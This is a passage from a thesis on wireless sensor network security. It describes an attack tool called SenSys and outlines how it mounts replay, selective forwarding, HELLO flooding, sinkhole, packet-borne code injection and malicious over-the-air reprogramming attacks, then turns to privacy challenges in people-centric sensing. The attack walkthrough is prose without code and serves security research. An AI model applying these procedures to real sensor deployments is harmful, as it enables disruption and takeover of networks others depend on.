formation are displayed in a single log trace.

8.3.3 Network Visualization Component

The network visualization component shows, in real time, all the above information and the state

of any performed attacks. The neighborhood traffic, neighborhood topology and node states are

displayed in a friendly graphical user interface. For example, the overall neighborhood traffic (and

traffic overheard by each sensor node) is monitored by continuous graphs, as shown in Figures 8.4 (a)

and (b), respectively.

The core abstraction implemented by this user interface is a neighborhood graph, where nodes

and links can be annotated with supportive information like node IDs, link quality, routing parent,

etc. A snapshot of such a topology is shown in Figure 8.2. Here, node color indicates functionality

type (green: network node, red: sensor hardware attached to the attack tool). The antenna

represents the central base station of the network. Edges between the nodes indicate network links,
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(a)

(b)

Figure 8.4: Monitored traffic. (a) Overall neighborhood traffic. (b) Traffic overheard from each sensor
node.

while the numbers above the edges indicate the quality of the link (LQI), as this is produced by the

underlying routing protocol. Nodes can be selected to display a textual summary of the information

gathered about them.

One of the most important pieces of information displayed by the user interface involves the

routing path taken by a packet travelling from a source node s to a destination d. This routing

state is inferred by observing packet transmissions produced by the routing protocol. Arcs indicate

the paths that multi-hop data messages follow.

8.4 Implemented Attack & Actions

As we described in the previous chapters, many sensor network deployments are quite simple, and

for this reason they can be even more susceptible to attacks. What makes it particularly easy for

attackers is the fact that most protocols are not designed having security threats in mind. As a

consequence, they rarely include security protection and little or no effort is usually required from

the side of an adversary to perform an attack. So, it is very important to study realistic attacker

models and evaluate their practicality and effectiveness through tools like the one presented here

and in Chapter 7.

The nature of wireless network communications opens the way to four basic attacks: Intercep-

tion, Alteration, Disruption and Code or Packet Injection (Chapter 2). Most network layer attacks

138



8.4 Implemented Attack & Actions

against such networks fall into one of these categories. Our attack tool (in its current version)

gives the user the opportunity to perform, in addition to eavesdropping and sniffing, the following

actions:

Data Replay. A replay attack is a form of network attack in which a valid data transmission

is maliciously or fraudulently repeated. As the adversary is capable of listening to any message

transmitted over the network medium, she may insert “new” messages or manipulate any message

sent by a legitimate participant of the network. In the presented tool, all overheard messages are

stored into the Packet Description Database, so the user is able to change them and re-transmit

them at a later time.

Sinkhole Attack. The sinkhole attack (Chapter 4) is a particularly severe attack that prevents

the base station from obtaining complete and correct sensing data, thus forming a serious threat

to higher-layer applications. Using this attack, an adversary can attract nearly all the traffic from

a particular area. Typically, sinkhole attacks work by making a malicious node look especially

attractive to surrounding nodes with respect to the underling routing algorithm. Our motivation

for mounting sinkhole attacks is that it makes other kind of attacks, like Selective Forwarding,

trivial.

Selective Forwarding. In a selective forwarding attack, an adversary may refuse to forward

certain messages and simply drop them, ensuring that they will not be propagated any further.

This attack is especially effective if combined with an attack that gathers network traffic and can

be used as an attack vector to mount denial of service attacks.

Flooding. In a HELLO flood attack, an attacker can send or replay HELLO messages with

high transmission power. In this way, she creates an illusion of being a neighbor to many nodes and

can disrupt the construction of the underlying routing tree, facilitating further types of attacks.

Malicious Code Injection. As we extensively studied in Chapter 6, by taking advantage

of memory related vulnerabilities in sensor nodes, like buffer overflows, an adversary may send

crafted packets to trigger a stack overflow and execute arbitrary code on the target system. She

may also create and send a self-replicating worm that broadcasts itself and infects the network in

a hop-by-hop manner in order to completely take control of it, shut the network down or change

its functionality.

Node Ping Operator & Program Image Dissemination. These operations are provided

by the Deluge over-the-air programming protocol (151). The ping action sends a message to a

specific sensor node to request about its state, its currently executing program image and what

other images are stored in that node. Program Image dissemination is a fundamental service in

sensor networks that relies upon reliable broadcast of image updates. However, it faces threats since
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Figure 8.5: Replay original or altered overheard logged messages.

an adversary may easily subvert it by modifying or replacing the real code image being propagated

to sensor nodes.

In what follows, we give an overview of the procedures that should be followed by a user in order

to perform the above described attacks. We confine ourselves to highlight the steps and actions

performed by the attack tool throughout the duration of the attack.

8.4.1 Attacks Walk-Through

8.4.1.1 Data Replay, Selective Forwarding and HELLO Flooding Attack

As we described in Section 8.3.1, all overheard messages are decoded, stored and displayed by

our network tool sniffer, as illustrated in Figure 8.3. Message structure and packet contents are

provided to the user along with a number of operators for manipulating them.

In the case of data replay, all captured packets may be re-transmitted by the user at a later

time. The attack tool enables transparent data access and alteration upon selection of a logged

displayed message. As depicted in Figure 8.5, once a message is selected, the user is presented with

two options: replay the original message or replay an altered version of it. If the first case, a copy

of the selected message is fed to the Attack Launcher by the Packet Storage module. Then, it is

transmitted using the attached radio. In the second case, a user interface is provided that gives

the user the ability to alter the message contents before transmission (Figure 8.5). If the selected

message is of an unrecognized structure (could not be found in the Packet Description Database),
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the user interface provides the byte representation of its contents. Thus, the user can still change

it and re-transmit it.

As far as Selective Forwarding is concerned, our tool can be thought as part of the existing

sensor network since it is connected to a sensor platform like the one used in the deployed network.

Thus, the user can select which of the received displayed messages will actually be forwarded by

the tool. This will ensure that they will not be propagated any further, possibly leading to other

types of attacks like Denial of Service of Black Hole (79) attacks.

Finally, HELLO flooding attempts to attack the underlying routing tree. It requires the attacker

to broadcast specially crafted HELLO packets for advertising possible fake IDs to other network

nodes. This is achieved by a single hop transmission using the attached radio with enough power to

reach every sensor node. Eventually, this “flooding” can lead to other type of attacks like one-way

Wormholes (Chapter 5).

8.4.1.2 Sinkhole Attack

In a sinkhole attack, a malicious node tries to draw all or as much traffic as possible from a particular

area by making itself look attractive to the surrounding nodes with respect to the underlying

routing metric. There appears to be a great diversity in deployed routing protocols for sensor

networks. However, as we discussed in Chapter 4, most of them use link quality calculations as the

routing cost metric to build the routing tree towards the base station. Such routing protocols, like

MintRoute (119) and MultihopLQI (121), are supported by the presented tool.

In such protocols, each node broadcasts a beacon message and the receivers extract the link

quality (LQ) based either on their radio chip or on the packet loss of the packets received from this

neighbor. The most attractive link is selected for transmission and is the one with the best link

quality. According to this algorithm, the goal of sinkhole attack is to advertise a very good LQ in

order for all neighboring nodes to choose the tools’ attached node as their parent. A more detailed

description of the strategies that our tool follows to successfully launch such an attack, along with

a performance evaluation, was given in Chapter 4.

Eventually this is achieved using a periodic transmission of specially crafted “routing packets”

(beacons). The time interval between the transmissions is configurable and given by the user upon

initiation of the attack. Then, the Data Stream Framework module takes over to construct and

transmit these packets. For an illustration, following Figure 8.6 (a), the attached node (ID=1) tries

to convince its neighboring nodes to choose it as their “parent”. The result is shown in Figure 8.6(b).

Let us note here that by trying different network topologies, we rarely missed attracting 100% of

the nodes.
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Figure 8.6: Launching the Sinkhole Attack on a real deployed network (a) The neighborhood topology
(on the left) before the attack (b) The neighborhood topology (on the right) after the attack.

8.4.1.3 Malicious Code Injection

Following the discussion of Chapter 6 on code injection attacks, blocks of the attack code are sent

as data payload of a specially crafted message. The goal of each injected packet is to copy data

(malicious instructions) into the sensors’ memory space. These instructions are represented by

unique 2-byte op-codes in order to be decoded by the CPU. As illustrated in Figure 8.7, a user

can write the byte representation of his/her code instructions in a special user interface. In this

example, the (malicious!) functionality of the code is to toggle the LEDs of a sensor node.

Figure 8.7: Malicious code to be injected in the network.

Upon start up, the Data Stream Framework module “reads” the given instructions and computes

the number of needed messages to carry the attack code. Then, it constructs these specially crafted
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packets by adding code blocks as their content and transmitting them in a sequential order. Upon

completion, it informs the user by printing an appropriate message. Let us note here that the

attack tool provides access to an online assembler and disassembler in order for the user to be able

to construct the byte representation of his/her attack code in a friendly manner.

8.4.1.4 Program Image Dissemination & Ping Operation

Deluge is a popular data dissemination protocol for program images over a multihop sensor net-

work. In the presented tool, we have incorporated the two basic functionalities provided by this

over-the-air-programming mechanism which are program image dissemination, through epidemic

propagation, and ping operation (Figure 8.8).

Conceptually, the tool is fed with a compiled program image which is then divided into pages,

each consisting of N packets. Then, the Data Stream Framework starts “advertising” this new

image and upon request it transmits, in a sequential order, all page packets using the attached

radio. More information about how Deluge works can be found in (151). In this way, the user can

change the network’s functionality by re-programming all nodes with his/her program code. This

may lead to other types of attacks like Denial of Service.

One other feature of our attack tool that can be used in compromising a network’s confidentiality

is the ping operation. By pinging a node, you actually request information regarding its currently

installed software version. The ping response will display information about the executing program

image and other images that are stored on this node. In this way, the user can extract vital

information about the network application (71).

Figure 8.8: Commands for injecting/erasing program images, or resetting the targeted sensor node.
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8.5 Conclusions

In this chapter, we have demonstrated the practicality of the various attacks that were described

throughout this thesis by building SenSys, an attack tool for compromising the network’s confi-

dentiality and availability. SenSys allows both inspection of a sensor network’s functionality by

analyzing overheard radio messages as well as discharge of various attacks against it. It can iden-

tify common applied protocols and use this information for performing various sets of attacks on

different network layers. Results show that our tool can be flexibly applied to different sensor

network operating systems and protocol stacks giving an adversary privileges to which she is not

entitled to. We hope that SenSys will be used proactively, to study the weaknesses of new security

protocols, and, hopefully, to enhance the level of security provided by these solutions even further.

In general, the results of this work serve a three-fold purpose: (i) to better understand the

techniques used by the adversaries for exploiting revealed vulnerabilities and launching various kinds

of attacks, (ii) to study the effects of these attacks on the network itself and (iii) to motivate a better

design of security protocols that can make them more resilient to adversaries. We expect that our

work will be particulary useful for demonstrating and educating users about the destructive impacts

of various attacks and will be used as a valuable knowledge tool in the design, development, and

deployment of more secure sensor network applications especially in the new domain of participatory

sensing environments where the security challenges, as we will discuss in the next chapter, are far

more complex and challenging than in traditional sensor networks.
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Chapter 9

Future Vision of People-Centric
Sensing Paradigm: Privacy
Challenges & Directions

9.1 Introduction

Sensor networks provide tremendous potential for information collection and processing in a vari-

ety of application domains. As we described in Chapter 1, a decade ago, the first generation of

sensor nodes facilitated the genesis of wireless sensor networks as they exist today: small resource-

constrained embedded devices that communicate via low-power, low-bandwidth radio, capable of

performing simple sensing tasks. A first set of scenarios for these networks included stationary nodes

sensing ephemeral features of the environment (Figure 1.1), like temperature, noise, air pollution,

etc. By continuously monitoring these surrounding attributes, they solved relatively small-scale

specialized problems such as forest monitoring, preventative maintenance, etc.

Although these problems and applications remain important, the recent advances in pervasive

and ubiquitous computing led to new exciting applications for sensor networks involving their use

in home automation and “smart interactive environments”. For example, in a hospital, outfitting

every patient with tiny, wearable vital sign sensors would allow doctors to continuously monitor the

status of their patients (e.g., MobiCare (28), CodeBlue (29), WW-BAN (30), and HealthGear (31)).

Additionally, in assistive environments, sensor-based monitoring can be proved a valuable tool for

those who may have physical or cognitive impairment. It is an ideal technology that provides most

direct and effective information about users’ location and activities (32). In general, there is an

ongoing trend towards smart sensor networking environments that can effectively assimilate this

promising technology according to human needs.

Therefore, we believe that sensor networks have reached an important crossroads in their devel-

opment. This new type of sensing paradigm in urban-scale deployments will change the traditional

view of currently existing sensor-based environments where people are passive data consumers that
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simply interact with physically embedded static sensor webs, with one where people carry mobile

sensing elements involving the collection, storage, processing and fusion of large volumes of data re-

lated to everyday human activities. This evolution is driven by the miniaturization and introduction

of sensors into popular electronic devices like mobile phones and PDAs. With wireless sensor plat-

forms in the hands of thousands, we can expect sensor networks to address urban-scale problems

like public health monitoring and personal well-being improvement. For example, participatory

sensing can facilitate the anticipation and tracking of disease outbreaks across populations (181).

At the same time, people as individuals, can apply these new sensing networks to applications with

a more personal focus (182, 183).

Such systems, often referred to as urban sensing or people-centric sensing (33) systems, come

to complement previous efforts on extending the possibilities of wireless sensor networks by taking

advantage of the large scale of sensors already existing in our hands (as seen in Table 3.1). These

systems aim at daily life applications, employing the mobile devices people already carry for sensing

information directly or indirectly related to human activity, as well as aspects of the environment

around them.

However, the challenge here is how to propel sensor networks from their small-scale application-

specific network origins into the commercial mainstream of people’s every day lives. In other words,

how can we develop large-scale general-purpose sensor networks for the general public (e.g., con-

sumers) capable of supporting a wide variety of applications in urban settings (e.g., enterprises,

hospitals, recreational areas, towns and cities). What protocols are needed for satisfying the re-

quirements posed by this new brand of sensing?

Next to the benefits that this new approach has, it also poses new challenges. It induces a differ-

ent set of assumptions and trade-offs than in much of the prior work on sensor networks, requiring

new thoughts about the communications infrastructure. Likewise, these new capabilities and ar-

chitectures pose different challenges and therefore require new solutions for information security.

Hence, are the security mechanisms and detection techniques, discussed throughout this thesis, ad-

equate to secure such urban-scale applications where high data rates, reliable communication and

immense scale of mobility must be achieved?

In this chapter, we discuss our vision for people-centric sensing environments and study their

security challenges. This highly dynamic and mobile setting presents new challenges for information

security, data privacy and ethics, caused by the ubiquitous nature of data traces originating from

sensors carried by people. We make the case for trustworthy participatory sensing and motivate

the problems of data protection, shareability, and confidentiality. We aim to instigate discussion on

these critical issues because people-centric sensing will never succeed without adequate provisions

on security and privacy. To that end, we discuss the latest advances in security and privacy
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protection strategies that hold promise in this new exciting paradigm. Our goal is to point out

some interesting future research directions in this field since our belief is that participatory sensing

bears an irrefutably great potential and holds the key to leverage the usage of sensor networks

towards civic benefit. In general, we hope that our work will create a substantive discussion around

security challenges and encourage all researchers involved with opportunistic sensing, participatory

sensing, urban sensing, and people-centric sensor networks to address security and privacy at a

fundamental level within their system and application design.

The remainder of this chapter is organized as follows. Section 9.2 introduces the concept of

people-centric sensing, discusses its inherent differences with traditional sensor network designs

and highlights why currently existing security mechanisms are not suitable for this new application

domain. This will set the scene for Section 9.3, where we present people-centric sensing in detail,

identify the key features driving this ongoing trend, and discuss example applications enabled by

this new form of sensing. In Section 9.4, we describe what we believe to be the new challenges in

the area and discuss the latest advances along with some conceptual solutions. Finally, Section 9.5

concludes this chapter.

9.2 Bridging Traditional Sensor Networks and People-Centric Sens-
ing

The vision of participatory sensing (also called opportunistic or urban sensing) is of distributed

data collection and analysis spanning the personal, urban, and global scale, often using “everyday”

technologies like cell phones, in which participants make key decisions about what, where and when

to sense. Until now, sensor-based networks relied primarily on the ubiquitous placement of tiny

fixed nodes to report on the physical world. By putting mobile phones in the hands of human

participants, we can take advantage of users as creators, custodians, actuators, and publishers of

the data they collect.

These ubiquitous devices are increasingly capable of capturing and transmitting image, acoustic,

location, and other data, interactively or autonomously. They can become the best platform for

coordinated investigation of the environment and human activity (34, 35, 36) by enabling users

to gather, analyze, and share local knowledge. With these capabilities in mind, and new network

architectures for enhancing data credibility, quality, privacy, and “shareability”, they can encourage

people participation at personal, social and urban scales.

In a people-centric system, humans, rather than machines, are the focal point of the sensing

infrastructure enabling sensing coverage of large public spaces over time and letting individuals, as

sensing device custodians, collect targeted information about their daily patterns and interactions.

However, as we mentioned earlier, this new brand of sensing induces a different set of trade-offs than
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Figure 9.1: Moving on from Traditional Sensor Networks to People-Centric Sensing.

in much of the prior work on sensor networks, requiring new thoughts on the communication and

network architectures. Never before has sensing been so close to the public, and so intermixed in

their daily lives. Therefore, these new capabilities pose different challenges for information security

and privacy and present significant technical and ethical issues.

First, applications may deal with personal information, requiring a deeper attention to privacy

and anonymity. Data traces can easily document and quantify habits, routines, and personal asso-

ciations. Second, motivating user participation within the fast-paced development of participatory

urban sensing is both challenging and important. We believe that in order to ensure people’s par-

ticipation, we must provide solution to the following trust concerns: content reliability (How do you

have confidence that the published data is indeed what was sensed?) and content protection (How

to ensure that only authorized entities can access published data?). Finally, modified assumptions

about device and network capabilities (including high mobility, strong but not continuous con-

nectivity, and relatively plentiful power) lead to new opportunities and require different security

solutions. Therefore, current security mechanisms that focus on resource-constrained devices, static

network deployments, etc., are not suitable for the envisioned people-centric sensing applications.

9.3 The Rise of People-Centric Sensing

Embedded wireless sensing already provides scientists and engineers unique insights into monitor-

ing physical environments previously unattainable. This fact combined with the recent explosion of
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sensor-equipped mobile phone market, has opened the door to a new world of application possibil-

ities (Figure 9.1). WSNs now can be leveraged to address urban-scale problems or provide global

information access. This trend is also amplified by the need to achieve a more human centered

vision of ubiquitous computing; (i) understand and support human daily life and activity, (ii) rein-

force people’s social behavior by the creation and use of various devices that can provide interactive

experiences to individuals in several ways, and (iii) manage in a skilful way all the devices that are

connected to the network in order to provide a deeper everyday personal experience to the user.

People-centric sensing is a revolutionary paradigm of this ongoing trend that makes people

the focal point of the sensing infrastructure. It allows them to voluntarily sense their environment

using readily available sensor devices such as smart phones and share this information using existing

cellular and Internet communication networks. It has tremendous potential because it harnesses the

power of ordinary citizens to collect sensor data for applications spanning environmental monitoring,

intelligent transportation, and, most importantly, public healthcare support which is often not cost-

viable using dedicated sensing infrastructure.

We believe that participatory sensing will give rise to a host of new alternatives for “smart”

interactive environments. Systems that will instrument the human as an active mobile platform,

will support persistent monitoring and sharing of data with everyone for the greater public good.

9.3.1 Opportunistic People-Centric Sensing

People-centric sensing (33) lies at the intersection of several research domains, including sensor

networking, ubiquitous computing, mobile computing, machine learning, human-computer inter-

facing, and social networking. Significant technological advancements made within each domain

have driven this evolution, and research focusing on capitalizing these contributions is now emerg-

ing (184). This new kind of sensing paradigm describes the process whereby individuals and com-

munities use their mobile handsets and cloud services to collect and analyze systematic data for use

in discovery. The convergence of technology and analytical innovation with a human-centered vision

using mobile phones and online social networking, sets the stage for this technology to dramatically

impact many aspects of our daily lives.

People-centric sensing differs from traditional sensor networks in that there is typically no single

data producer. In an urban setting, for example, one could use millions of personal mobile phones,

and a pervasive wireless-network infrastructure, to collect sensor data on a grand scale without the

need of deploying thousands of static sensors. Thus, many researchers proposed the opportunistic-

sensing model, in which people volunteer their mobile devices to transparently collect sensor data

as they go about their daily lives. In the opportunistic-sensing model, sensor nodes are carried

by people and therefore are conceptually tied to specific individuals. The sensors are inherently
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Figure 9.2: General architecture followed in People-Centric Sensing environments.

mobile and the sensor data is necessarily “people- centric”; that is, sensing not only the surrounding

environment, but also aspects of the individual. For example, in assistive healthcare applications,

people could produce data regarding their physical condition such as heart rate, body temperature,

etc.

While these new aspects bring forth an amazing domain of new applications, they also present

significant security and privacy challenges. For instance, as in any participatory system, people-

centric sensing is vulnerable to data crafting and sharing of incorrect information. Moreover, data

producers and consumers are different autonomous entities. Thus, they may want to restrict whom

they share their data with. A better description of all the challenges posed by this new technology,

can be found in Section 9.4.

The essential technical components that enable the viability of such systems can be seen in

Figure 9.2, which depicts a general architecture that is usually adopted in people-centric sensing

systems. They consist of five layers (185):

• Participatory Sensing Layer. The large-scale pervasive sensing layer involves the three

major information sources: mobile and wearable devices, static sensing infrastructure, social

web and communication services (cellular or Internet). It utilizes ubiquitous data capture as

a means to gather knowledge from people nearly everywhere in the world.

150



9.3 The Rise of People-Centric Sensing

• Privacy Layer. As privacy and security are major concerns for both private and organiza-

tional data, this layer addresses the need for individuals to control access to the data streams

to be shared through personal data vaults.

• Leveraged Data Processing Layer. This layer applies diverse machine learning and data

mining techniques in order to infer complex phenomena about individuals and groups from a

simple set of collected data.

• Fusion Semantic Layer. The fusion semantic layer is used when different features or

context need to be aggregated using logic-based inferences.

• Application Layer. The application layer includes a variety of potential services that can

be enabled by the availability of people-centric sensing systems.

In general, people-centric sensing gives rise to a host of new applications that can be classified

into three main groups: (i) personal sensing, those focused on personal monitoring and archiving,

(ii) social sensing, those where information is shared within social and special interest groups, and

(iii) public sensing, those where data is shared with everyone for the greater public good. In the

next section, we give some examples of opportunistic-sensing applications to motivate that paradigm

and to motivate the accompanying security challenges. Furthermore, we describe how researchers

envision the use of people-centric sensing in assistive healthcare applications, an important domain

that impacts many aspects of our every day life.

9.3.2 People-Centric Sensing Applications

People-centric sensing applications are mainly driven by the needs to (i) develop better social

software to facilitate interaction and communication among groups of people, and (ii) predict the

real-time change of the world to benefit human life. We anticipate that this sensing paradigm

will encourage large-scale, on-line data collection and processing of context information related to

aspects of everyday life, such as locating lost objects (186), or measuring the flow of bicycles in an

urban center (187).

Recent examples include commercial projects such as Dodgeball.com and BoostMobile.com,

which provide location-based “friend finder” services where users are notified of friends in the vicin-

ity, or can view the locations of their friends on a map. Other systems, such as CenceMe (188),

allow sharing of activity information via social network services. Active Maps could also display

historical information, such as the most frequently used running trails, indicating, e.g., which may

be muddy or contain steep uphill sections. BikeNet (189) is one such project, aimed at cyclists who

would like to share real-time sensor data.
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Figure 9.3: Participatory Sensing as a platform for assistive healthcare support.

One other emerging application domain is to use opportunistic sensing as a tool for healthcare

and wellness (Figure 9.3). For example, individuals can monitor themselves to observe and adjust

their medication, physical activity, nutrition, and interactions. Communities and health profes-

sionals can also use participatory approaches to better understand the development and effective

treatment of diseases.

Another possibility for people-centric sensing exists in campaigns for public health: Individuals,

heathcare providers, and community organizations could initiate opt-in activities to evaluate and

support individualized and preventative care prescriptions, gather data for analysis of causes of

chronic and environmentally-affected health issues, and generally to collect a wide range of high-

fidelity health statistics for a population of interest. Autonomously captured and selectively shared

activity pattern information could help chronic patients and their doctors link environmental factors

with symptoms, while explicit data gathering might include automatic upload of at-home, self-

administered diagnostic tests.

Finally, this new sensing paradigm can facilitate the anticipation and tracking of disease out-

breaks across populations. For example, Epidemics of seasonal flues are a major public health

concern. Its impact can be reduced by early detection of the disease activity (181). Also, health-

care providers can log the physical activities of an individual, track her food intake or sense her

mental status in real-time, and record the social activities she attends each day, which can be used

to improve human well-being management.
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9.4 Urban-Sensing Privacy Challenges & Directions

Applications that facilitate this new people-centric sensing paradigm, entail serious security and

privacy risks. Most of the times, the network infrastructure used in such scenarios is not owned or

operated by any one party, and usually not by the individuals who own the mobile devices used as

sensor nodes. The data consumers cannot trust other participants, and similarly, these people will

not necessarily trust the system that collects the data or the applications that use the data. Thus,

the trust models required are far more complex than those considered in typical sensor-network

literature.

Perhaps the most obvious concern is the security of the sensed data itself, especially in correla-

tion to the owner of the device. Unrestricted dissemination of users’ sensor data results in breaches

of privacy ; users will want to control who may access information about themselves. Can a partic-

ipant trust the systems not to track their location? Similarly, can she have access to the sensing

tasks they execute or the reports they submit? A balance must be found between giving incentives

to users to volunteer their device for data collection and assuring their privacy and anonymity.

Also, since data originates from sensors that are under the control of other people, the integrity

of the data comes into question. For example, a user may tamper with a sensor device to cause

it to report false data, or misrepresent the location or time the data was sensed. Is it possible to

operate an open, cooperative network of human-carried mobile handsets when some of the people

cannot be trusted to communicate sensor data accurately and quickly?

Finally, a third concern is the availability of the infrastructure which is critical for the viability

of people-centric sensing applications. Unlike traditional sensor networks where any used hardware

and communications infrastructure originate from similar providers, urban-sensing environments

assume the involvement of multiple resource providers and administrating organizations. Thus, it

is crucial to convince the user of the ubiquity of the technology used.

In the following sections, we detail all the challenges posed towards a secure and trustworthy

people-centric sensing system based on the privacy expectations and the concerns of the users

themselves. Then, we outline the latest research directions in security and privacy protection that

try to deal with all these challenges.

9.4.1 Privacy and Trust Issues

People-centric sensing faces barriers to wide scale adoption unless users trust the system to provide

privacy guarantees. The confidentiality of sensed data goes far beyond the provision of a secure

channel from the sensor node to some gateway, as it is the case in traditional sensor network designs.

Such encryption and key-distribution techniques have already been well-discussed in sensor-network
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security literature. Here, the focus is more on the privacy challenges associated with the collection

and dissemination of sensor data.

Compared with personal data (e.g., user profile, medical data), data gathered in communities

can reveal much more information about individuals’ behaviors. Privacy decisions have many

components, including identity (Who is asking for the data?), granularity (How much does the

data reveal about me?), and time (How long will the data be retained?) (190, 191). For example,

an individual’s location might reveal his/her interests. The impact is obvious: if personal data

cannot be anonymous and under the control of data owners, people may be less likely to share their

data.

Furthermore, people-centric sensing environments usually involve multiple types of context; who

should get access to application-related information, who should know where they are, and so on.

Unlike traditional sensor networks where several systems have been proposed to address specific

types of sensor data (e.g., location privacy (192) and privacy of produced data from networked

sensors), usable mechanisms to protect the context privacy of more general types of data have been

lacking. For example, an adversary may be able to infer restricted context information from other

available data. Care must be taken, therefore, to ensure that context is not inadvertently leaked

and that users are tasked and questioned anonymously.

In general, there is a need for discussion about when and how to share this new form of personal

data. Currently, corporations such as mobile carriers as well as small-scale application developers

are struggling with how best to provide privacy and confidentiality protections for participatory

sensing data. There are three main research areas that deal with these needs (193, 194):

(1) Data anonymization techniques. This class (33, 195) includes all solutions based on the

notion of anonymity, which is aimed at making an individual not identifiable when contributing

his/her data. For example, anonymous tasking and anonymous data reporting are being adopted

in order for the users to be able to notify the system of their acceptance (of a specific task) without

actually revealing their identity. If this is true, the users can share their information without the

system knowing their current location. Early solutions involved attribute-based authentication,

which ensures that users can authenticate themselves by revealing only a portion of their attributes

and not their identities. Another solution suggested the use of static pseudonymous IDs, but soon

it was realized that it might be trivial to infer the true identity behind each pseudonym, by linking

all user entries together. In general, methods in this class do not guarantee that the process of

linking a task or information to an individual is impossible, but that it requires a large effort.

(2) Enhancing user control and decision making. User control is very important in personal

data sharing as it is about what one wants to reveal and to whom. For example, individuals might

want to track their heart rate, but there is no reason to share this information with anyone but their
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doctor. Possible solutions to this, are: (i) selective sharing by limiting distribution to communities,

or perhaps to only a few designated individuals, (ii) selective retention by indicating internal dates

for personal data collection, thus enabling automatic deletion of information after a specific period,

and (iii) negotiation with outside parties of the policies and regulations for using and sharing any

sensed information.

(3) Participatory design. Participatory design (PD) (196) is a practice that incorporates users

as co-designers of a system. It involves them in all phases of building a system that fit communities’

needs. As we mentioned earlier, people’s willingness to share their personal data is variable and

highly contextual; thus, system privacy design must respect this variability. PD methods can en-

courage the participants towards understanding and consensus on system defaults and user choices

for data granularity, data sharing, lengths of time for data retention, and reuse policies.

9.4.2 Integrity Issues

In addition to all the above described privacy issues, integrity of the data sources is another

important issue. Most of the times, in urban-sensing communities there is the need to import

data from many anonymous participants. In that case, however, is difficult to ensure the integrity

of shared information. If a user misbehaves by crafting the data, he/she cannot be blocked from

further reporting if full anonymity is allowed. Therefore, data integrity is a conundrum for experts

since its quest contradicts the requirements of privacy. Finding a balance between these two settings

is a major challenge in urban-sensing environments.

The difference with traditional sensor networks lies in the fact that the adversary is no longer

only a malicious outsider compromising a subset of sensor nodes (Chapter 2). Here, the threat

model includes all the participants that carry a configured mobile handset. Because users are in

control of their own devices, they can easily launch attacks targeting the reliability of shared data.

Furthermore, in the case of people-centric sensing, the personal nature of information significantly

increases the interest in doing so which, in turn, introduces the problem of data authentication;

How can sensed data be delivered with the assurance that no intermediate users have tampered

with it especially in cases where data must be paired with the producer’s identity?

One promising solution area to these needs is to use sophisticated notions for user identity,

group membership, and other attributes. For instance, group signatures can be employed in order

to anonymously verify the validity of mobile sensing devices. One problem, however, with these

designs arises from the fact that anonymity can be revoked from group managers or provider

entities. This may discourage attackers, but on the other hand, the revocation capability can be

used as a means to track the action of legitimate users.
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Another suggested solution includes developing efficient verification protocols that ensure data

management and guarantee system and data integrity. For example, a third trusted party could

maintain some secure cryptographic state of the entire system configuration, consisting of various

user-related parameters. This cryptographic state could be updated and used for verification as

network nodes execute queries, tasking commands, and other operations. Such a solution is viable

if a trusted entity can be found and there is a balance between the simplicity of verification and

the flexibility in securely describing the network state.

9.4.3 Availability Issues

As we described in Chapter 2, researchers have addressed most of the Denial of Service (DoS and

DDoS) issues for currently existing sensor networks. People-centric sensing, however, introduces

different kind of availability challenges even though sensed data are submitted by nodes volunteered

by their owners. Participants may configure their mobile phones to refuse to accept certain tasks

or accept them and then ignore them. This can have severe consequences on the effectiveness of an

application as it may depend on the sensing coverage and density. Thus, success of urban-sensing

systems is related to the willingness of individuals to participate. This problem becomes worse if

we take into consideration the privacy and trust concerns of the users. Therefore, it is crucial to

create the appropriate incentives for people to participate in urban-sensing scenarios.

One promising direction towards this end is to create applications that fit users needs and have

services with clear direct and indirect benefits. This will trigger the communities to experience this

new technology by making their mobile devices available for sensing. However, attention must be

given to the fairness of benefits towards the participants. A balance must be attained in order not

to motivate users to cheat trying to obtain better services for themselves than they deserve. For

example, in healthcare applications, individuals may task many other sensors to collect information

for their own needs (e.g., environmental monitoring of a specific area for levels of moisture, humidity,

and other attributes that burden the health of an elderly), without being willing to take on tasks

for other users. Research on game-theory principles and reputation-based algorithms could provide

useful insights here. In general, the more data-secure, user-private and beneficial a people-centric

sensing system is, the more individuals are likely to participate in its services.

9.4.4 Policy Issues

Software and hardware mechanisms cannot be the sole answer to all the above privacy, security

and ethical issues in people-centric sensing applications. Effective trust regulations must be created

that combine technological approaches with institutional policies to enable and enforce protective

actions. Policy refers to guidelines or regulations that encourage user engagement and protect
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participants’ data reports. It is an important research direction as it can involve community

groups to work through conflicts and make decisions regarding the way sensed data will be used.

Therefore, urban-sensing technologies must support both research processes and resulting policies.

Responsibility, however, for all policy settings must be shared between providers (or organiza-

tions) and users. It is crucial to include participants to work alongside designers in order to write

and enforce system guidelines. Since users are the target group of people-centric sensing applica-

tions, it makes complete sense to give them the ability to influence internal compliance policies.

Overall, the goal is to come up with a set of policies that complement technology designs and

individual participant decisions in order to create an urban-sensing environment where privacy and

trust regulations are an important component of any system interaction.

Synergy between policies and technologies entails all of the challenges of interdisciplinary coop-

eration. The most important, however, is to determine which issues are best addressed by policy

or technology. It is obvious that this depends on the kind of application, the participatory sens-

ing domain and the targeted group of users. For example, public health campaigns could require

policies for protecting medical records and specific technological approaches for fully managing

the collection, storage, sharing, and retention of any health-related data. Furthermore, another

question that needs to be addressed is which policy language can be used in order to express users

preferences in a readable format even in complex environments? One possible solution is to develop

new policy-specification approaches that provide users more extensive settings to accurately specify

their regulations keeping in mind not to significantly increase the user burden.

All these issues are still in research as they depend on the context and, therefore, they have

to be addressed system by system, domain by domain. However, an attempt is being made to

identify those design principles for privacy by policies that are common in different community-

based urban-sensing systems. This will help the design of future systems in order to encourage

people participation by minimizing the risk of undesired disclosures.

9.5 Conclusions

Technology advances in sensing, microelectronics and their integration into everyday consumer

devices lays the groundwork for the rise of people-centric sensing. With multiple data capturing,

positioning, and connectivity devices, the basic components of a widespread participatory sensor

network already exist. There is an exciting challenge to leverage the investment in wireless research

and infrastructure to generate a proportional civic benefit. One area in which we see such promise

is in assistive healthcare environments as described above.
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Effective people-centric sensing will require more than ubiquitous mobile phones and “mass-

attractive” services. Such applications have clear and substantial security and privacy challenges,

which must be resolved if these systems have any hope of realizing their full potential. Is sensing

data with always-on mobile phones a new opportunity to promote sensor network research or is

it a very powerful surveillance tool that we carry around in our everyday lives? To answer this

question, we described what we believe to be the new challenges in the area, discussed the latest

advances, and offered some promising conceptual solution approaches for each. Since our belief is

that people-centric sensing hold the future of sensor networking, we plan to investigate in depth

how security mechanisms, like the one presented in Chapter 3, can be modified and enhanced in

order to suit the demands of this new brand of sensing. In general, we hope that this chapter

will trigger a discussion around these issues and better highlight the need for privacy and trust in

